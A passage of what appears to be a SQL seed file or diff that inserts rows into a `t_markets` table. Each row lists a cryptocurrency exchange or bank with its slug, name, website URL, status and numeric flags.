'localtrade', 'LocalTrade', 'https://localtrade.cc/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (159, 'longex-io', 'Longex', 'https://www.longex.io', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (160, 'biex-io', 'Biex', 'https://www.biex.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (161, 'bige-top', 'Bige.top', 'https://www.bige.top', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (162, 'lykke-exchange', 'Lykke Exchange', 'https://lykke.com/exchange.php', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (163, 'biger-in', 'Biger', 'https://www.biger.pro/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (164, 'mbaex', 'MBAex', 'https://www.mbaex.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (165, 'bihodl', 'Bihodl', 'https://www.bihodl.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (166, 'mercado-bitcoin', 'Mercado Bitcoin', 'https://www.mercadobitcoin.com.br/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (167, 'bikicoin', 'Bikicoin', 'https://www.biki.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (168, 'mgcex-nz', 'MGCEX.NZ', 'http://www.mgcex.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (169, 'binance-dex', 'Binance DEX', 'https://www.binance.org', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (170, 'binance-jersey', 'Binance Jersey', 'https://www.binance.je', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (171, 'nanex', 'Nanex', 'https://nanex.co/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (172, 'binance-uganda', 'Binance Uganda', 'https://www.binance.co.ug', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (173, 'negocie-coins', 'Negocie Coins', 'https://www.negociecoins.com.br/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (174, 'neraexpro', 'Neraex', 'https://neraex.pro/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (175, 'bisq', 'Bisq', 'https://bisq.network/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (176, 'bit-z', 'Bit-Z', 'https://bitz.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (177, 'nocks', 'Nocks', 'https://nocks.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (178, 'bit-z-futures', 'Bit-Z Futures', 'https://bitz.com', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (179, 'novaexchange', 'Novaexchange', 'https://novaexchange.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (180, 'oasisdex', 'OasisDEX', 'https://oasisdex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (181, 'bitalong', 'Bitalong', 'https://www.bitalong.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (182, 'oax', 'OAX', 'https://www.oax.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (183, 'bitasiaex', 'Bitasiaex', 'https://www.bitasiaex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (184, 'ocnex-io', 'Ocnex', 'https://www.ocnex.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (185, 'ocx', 'OCX', 'https://ocx.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (186, 'bitbay', 'BitBay', 'https://auth.bitbay.net', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (187, 'oex', 'OEX', 'https://www.oex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (188, 'bitbitx', 'Bitbitx', 'https://bitbitx.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (189, 'ok-top', 'OKTop', 'https://www.ok.top/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (190, 'okcec', 'OKCEC', 'https://okcec.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (191, 'bitbox', 'Bitbox', 'https://www.bitbox.me/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (192, 'okcoincom', 'OKCoin', 'https://www.okcoin.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (193, 'bitcoin-indonesia', 'Bitcoin Indonesia', 'https://www.bitcoin.co.id', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (194, 'okcoinkr', 'OKCoin KR', 'https://okex.co.kr', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (195, 'bitcointoyou', 'BitcoinToYou', 'https://www.bitcointoyou.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (196, 'bitcointrade', 'BitcoinTrade', 'https://www.bitcointrade.com.br/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (197, 'okex-future', 'OKX Futures', 'https://www.okex.com', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (198, 'bitebtc', 'BiteBTC', 'https://fedlio.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (199, 'okgaex', 'Okgaex', 'https://www.okgaex.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (200, 'bitex-la', 'Bitex.la', 'https://bitex.la', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (201, 'omicrex', 'Omicrex', 'https://omicrex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (202, 'onechain-one', 'OneChain', 'https://onechain.one', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (203, 'oneroot', 'Oneroot', 'https://oneroot.one/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (204, 'ooobtc', 'ooobtc', 'https://www.ooobtc.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (205, 'openledger', 'OpenLedger DEX', 'https://openledger.io', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (206, 'bitgogo', 'Bitgogo', 'https://www.bitgogo.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (207, 'ore-bz', 'Ore.Bz', 'https://ore.bz/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (208, 'bithesap', 'Bithesap', 'https://www.bithesap.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (209, 'otcbtc', 'OTCBTC', 'https://otcbtc.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (210, 'ovis', 'Ovis', 'https://www.ovis.com.tr/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (211, 'bithumb-dex', 'Bithumb DEX', 'https://www.bithumb.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (212, 'paradex', 'Paradex', 'https://paradex.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (213, 'bitibu', 'Bitibu', 'https://bitibu.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (214, 'park-one', 'Park One', 'https://www.park.one/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (215, 'bition-pro', 'BitionPro', 'https://www.bition.pro/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (216, 'bitk-me', 'Bit-K', 'https://bitk.me/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (217, 'pk-top', 'PK', 'https://www.pk.top/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (218, 'bitker', 'Bitker', 'https://www.bitker.com/index', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (219, 'bitkonan', 'BitKonan', 'https://bitkonan.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (220, 'qbtc', 'QBTC', 'https://www.myqbtc.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (221, 'bitkop', 'Bitkop', 'https://www.bitkop.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (222, 'quadrigacx', 'QuadrigaCX', 'https://www.quadrigacx.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (223, 'qubi', 'Qubi', 'https://www.qubi.top/#/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (224, 'bitlish', 'Bitlish', 'https://bitlish.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (225, 'quoine', 'Liquid', 'https://www.liquid.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (226, 'bitmarket', 'BitMarket', 'https://www.bitmarket.net/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (227, 'radar-relay', 'Radar Relay', 'https://radarrelay.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (228, 'bitmart', 'BitMart', 'https://www.bitmart.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (229, 'rfinex', 'Rfinex', 'https://rfinex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (230, 'bitmax-io', 'AscendEX(Bitmax)', 'https://ascendex.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (231, 'rightbtc', 'RightBTC', 'https://www.rightbtc.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (232, 'bitmesh', 'Bitmesh', 'https://bitmesh.com/#/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (233, 'ripple-china', 'Ripple China', 'http://wg.iripplechina.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (234, 'ripplefox', 'RippleFox', 'https://ripplefox.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (235, 'bitnoah', 'Bitnoah', 'https://www.bitnoah.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (236, 'rootrex', 'Rootrex', 'https://www.rootrex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (237, 'bitonic', 'Bitonic', 'https://bitonic.nl', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (238, 'rudex', 'RuDEX', 'https://rudex.org/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (239, 'bitopro', 'Bitopro', 'https://www.bitopro.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (240, 'bitpaction', 'Bitpaction', 'https://www.bitpaction.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (241, 'simex', 'Simex', 'https://simex.global', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (242, 'bitrabbit', 'Bitrabbit', 'https://bitrabbit.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (243, 'sistemkoin', 'Sistemkoin', 'https://sistemkoin.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (244, 'bits-blockchain', 'Bits Blockchain', 'https://bitsblockchain.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (245, 'bitsane', 'Bitsane', 'https://bitsane.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (246, 'stellarport', 'Stellarport', 'https://stellarport.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (247, 'bitshares-asset-exchange', 'BitShares Asset Exchange', 'https://openledger.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (248, 'stex', 'STEX', 'https://www.stex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (249, 'stocks-exchange', 'Stocks.Exchange', 'https://stocks.exchange/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (250, 'bitstamp-ripple-gateway', 'Bitstamp (Ripple Gateway)', 'https://www.bitstamp.net/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (251, 'surbtc', 'SurBTC', 'https://www.surbtc.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (252, 'bittrex', 'Bittrex', 'https://bittrex.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (253, 'switcheo', 'Switcheo Exchange', 'https://switcheo.network/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (254, 'bittylicious', 'Bittylicious', 'https://bittylicious.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (255, 'syex-io', 'SHANGYA', 'https://www.syex.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (256, 'bjex', 'Bjex', 'https://www.bjex.cc', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (257, 'bjs-bi', 'BJS', 'https://www.bjs.bi/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (258, 'therocktrading', 'The Rock Trading', 'https://therocktrading.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (259, 'thinkbit', 'Thinkbit', 'https://www.thinkbit.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (260, 'bleutrade', 'Bleutrade', 'https://bleutrade.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (261, 'bloex', 'Bloex', 'https://www.bloex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (262, 'token-store', 'Token Store', 'https://token.store/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (263, 'borderless-vip', 'Borderless', 'http://www.borderless.vip/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (264, 'tokenomy', 'Tokenomy', 'https://tokenomy.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (265, 'braziliex', 'Braziliex', 'https://braziliex.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (266, 'tokok', 'Tokok', 'https://www.tokok.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (267, 'btc-alpha', 'BTC-Alpha', 'https://btc-alpha.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (268, 'top-one', 'TopOne', 'https://top1.one/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (269, 'topbtc', 'TOPBTC', 'https://topbtc.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (270, 'trade-by-trade', 'Trade By Trade', 'https://tradebytrade.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (271, 'btcbank-id', 'BTCBank', 'https://www.btcbank.id/index', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (272, 'trade-io', 'Trade.io', 'https://exchange.trade.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (273, 'trade-satoshi', 'Trade Satoshi', 'https://tradesatoshi.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (274, 'btcc', 'BTCC', 'https://www.btcc.com/home', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (275, 'btcdo', 'Btcdo', 'https://www.btcdo.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (276, 'triple-dice-exchange', 'Tripe Dice Exchange', 'https://mydicewallet.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (277, 'btctrade-im', 'BtcTrade', 'https://www.btctrade.im/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (278, 'trx-market', 'TRXMarket', 'https://trx.market/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (279, 'btcturk', 'BTCTurk', 'https://www.btcturk.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (280, 'tux-exchange', 'Tux Exchange', 'https://tuxexchange.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (281, 'btex', 'Btex', 'https://www.btex.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (282, 'uex', 'UEX', 'https://www.uex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (283, 'ufo-club', 'UfoClub', 'https://www.ufo.club/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (284, 'burst-asset-exchange', 'Burst Asset Exchange', 'http://asset.burstnation.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (285, 'ukex', 'UKEX', 'https://ukex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (286, 'buybitcoin', 'BuyBitcoin', 'https://buybitcoin.org.in', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (287, 'uncoinex', 'U-COIN', 'https://www.ucoin.pw', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (288, 'buyucoin', 'BuyUcoin', 'https://www.buyucoin.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (289, 'unocoin', 'Unocoin', 'https://www.unocoin.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (290, 'bw', 'BW', 'https://www.bw.io', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (291, 'bx-thailand', 'BX.in.th', 'https://bitcoin.co.th/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (292, 'utxo', 'Utxo', 'https://www.utxo.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (293, 'bytex', 'Bytex', 'https://www.bytex.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (294, 'vebitcoin', 'Vebitcoin', 'https://www.vebitcoin.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (295, 'c-cex', 'C-CEX', 'https://c-cex.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (296, 'vvvex', 'VVVEX', 'https://www.vvvex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (297, 'c-patex', 'C-Patex', 'https://c-patex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (298, 'waves-dex', 'Waves Decentralized Exchange', 'https://wavesplatform.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (299, 'c2cx', 'C2CX', 'https://www.c2cx.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (300, 'cashierest', 'Cashierest', 'https://www.cashierest.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (301, 'wellsfargo', 'Wells Fargo', NULL, 'enable', 0, 0, 0, NULL); +INSERT INTO `t_markets` VALUES (302, 'ccb', 'China Construction Bank', NULL, 'enable', 0, 0, 0, NULL); +INSERT INTO `t_markets` VALUES (303, 'wex', 'WEX', 'https://wex.nz/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (304, 'cex-com', 'CEX', 'https://cex.plus', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (305, 'wkj-link', 'WanKeJia', 'https://www.wkj.link/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (306, 'worldcore', 'Worldcore', 'https://worldcore.trade/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (307, 'chaince', 'Chaince', 'https://chaince.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (308, 'xinbi', 'XinBi Global', 'https://www.xinbipro.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (309, 'chaoex', 'ChaoEX', 'https://www.chaoex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (310, 'xbrick-io', 'Xbrick', 'https://xbrick.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (311, 'cm-xyz', 'Coinmarket', 'https://cm.xyz/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (312, 'xbtc-cx', 'XBTC', 'https://www.xbtc.cx/#/dashboard', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (313, 'cobinhood', 'COBINHOOD', 'https://cobinhood.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (314, 'xbtce', 'xBTCe', 'https://www.xbtce.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (315, 'coffeeokex', 'Coffeeokex', 'https://www.coffeeokex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (316, 'xt', 'XT', 'https://www.xt.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (317, 'coin2coin', 'Coin2Coin', 'https://coin2co.in/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (318, 'xunq-net', 'Xunq', 'https://www.xunq.net/index', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (319, 'coin918', 'Coin918', 'http://www.coin918.uk/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (320, 'yibit', 'YIBIT', 'https://yibit.org/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (321, 'coinall', 'Coinall', 'https://www.coinall.live/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (322, 'coinbe', 'Coinbe', 'https://coinbe.net/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (323, 'yoe-im', 'Yoexs', 'https://yoe.im', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (324, 'coinbene', 'Coinbene', 'https://www.coinbene.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (325, 'coinbig', 'Coinbig', 'https://www.coinbig.org', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (326, 'coinbit', 'Coinbit', 'https://www.coinbit.co.kr/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (327, 'zb', 'ZB', 'https://www.zb.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (328, 'zbg', 'ZBG', 'https://www.zbg.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (329, 'coincorner', 'CoinCorner', 'https://www.coincorner.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (330, 'coindeal', 'Coindeal', 'https://coindeal.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (331, 'zeniex', 'Zeniex', 'https://www.zeniex.com/index.html', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (332, 'coineal', 'Coineal', 'https://hk.coineal.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (333, 'zg-com', 'ZG.com', 'https://www.zg.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (334, 'coinegg', 'CoinEgg', 'https://www.coinegg.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (335, 'zg-top', 'ZG.TOP', 'https://www.zg.top/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (336, 'coinexchange', 'CoinExchange', 'https://www.coinexchange.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (337, 'zzex-pro', 'ZZEX', 'https://www.zzex.pro/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (338, 'coinfloor', 'Coinfloor', 'https://coinfloor.co.uk/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (339, 'zbm', 'ZB Mega', 'https://www.zbm.com/cn/#/n/index', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (340, 'jex', 'Jex', 'https://www.jex.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (341, 'coinhub', 'Coinhub', 'https://coinhub.io', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (342, 'coinlim', 'Coinlim', 'https://www.coinlim.com/#/index', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (343, 'bbx', 'BBX', 'https://bbx.com/', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (344, 'coinmake', 'Coinmake', 'https://www.coinmake.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (345, 'coinmate', 'CoinMate', 'https://coinmate.io/home', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (346, 'bitqq', 'BitQQ', 'https://www.bitqq.vip', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (347, 'coinmex', 'CoinMex', 'https://www.coinmex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (348, 'coinnest', 'Coinnest', 'https://www.coinnest.co.kr/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (349, 'coinnew-io', 'Coinnew', 'https://www.coinnew.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (350, 'coinoah', 'Coinoah', 'https://coinoah.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (351, 'jex-futures', 'Binance Jex Futures', 'https://www.jex.com/', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (352, 'bankofrussia', 'Bank of Russia', '', 'enable', 0, 0, 0, NULL); +INSERT INTO `t_markets` VALUES (353, 'coinpark', 'CoinPark', 'https://www.coinpark.cc/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (354, 'bankofromania', 'Bank of Romania', NULL, 'enable', 0, 0, 0, NULL); +INSERT INTO `t_markets` VALUES (355, 'coinplace', 'CoinPlace', 'https://coinplace.pro/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (356, 'bankofczech', 'Bank of Czech', NULL, 'enable', 0, 0, 0, NULL); +INSERT INTO `t_markets` VALUES (357, 'coinpool', 'Coinpool', 'http://www.coinpool.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (358, 'bankofturkey', 'Bank of Turkey', NULL, 'enable', 0, 0, 0, NULL); +INSERT INTO `t_markets` VALUES (359, 'coinrail', 'Coinrail', 'https://coinrail.co.kr', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (360, 'bakkt', 'Bakkt', 'https://www.bakkt.com/index', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (361, 'coinrate', 'Coinrate', 'https://coinrate.net/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (362, 'chainx', 'ChainX', 'https://chainx.kr/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (363, 'coinroom', 'Coinroom', 'https://coinroom.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (364, 'coinsbank', 'Coinsbank', 'https://coinsbank.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (365, 'coinsquare', 'Coinsquare', 'https://coinsquare.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (366, 'coinsuper', 'Coinsuper', 'https://www.coinsuper.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (367, 'ccxcanada', 'CCXCanada', 'https://ccxcanada.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (368, 'cointiger', 'CoinTiger', 'https://www.cointiger.top', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (369, 'biss', 'Biss', 'https://www.biss.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (370, 'coinuper', 'Coinuper', 'http://www.coinuper.com/#/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (371, 'bitsdaq', 'Bitsdaq', 'https://bitsdaq.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (372, 'coinut', 'Coinut', 'https://coinut.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (373, 'kumex', 'KuMEX', 'https://www.kumex.top/', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (374, 'coinw', 'Coinw', 'https://www.coinw.fm/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (375, 'coinyee', 'Coinyee', 'https://www.coinyee.pro', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (376, 'coinzest', 'CoinZest', 'https://www.coinzest.co.kr/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (377, 'huobijp', 'Huobi Japan', 'https://www.huobi.co.jp/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (378, 'coolcoin', 'CoolCoin', 'https://www.coolcoin.com/', 'enable', 0, 1, 0, 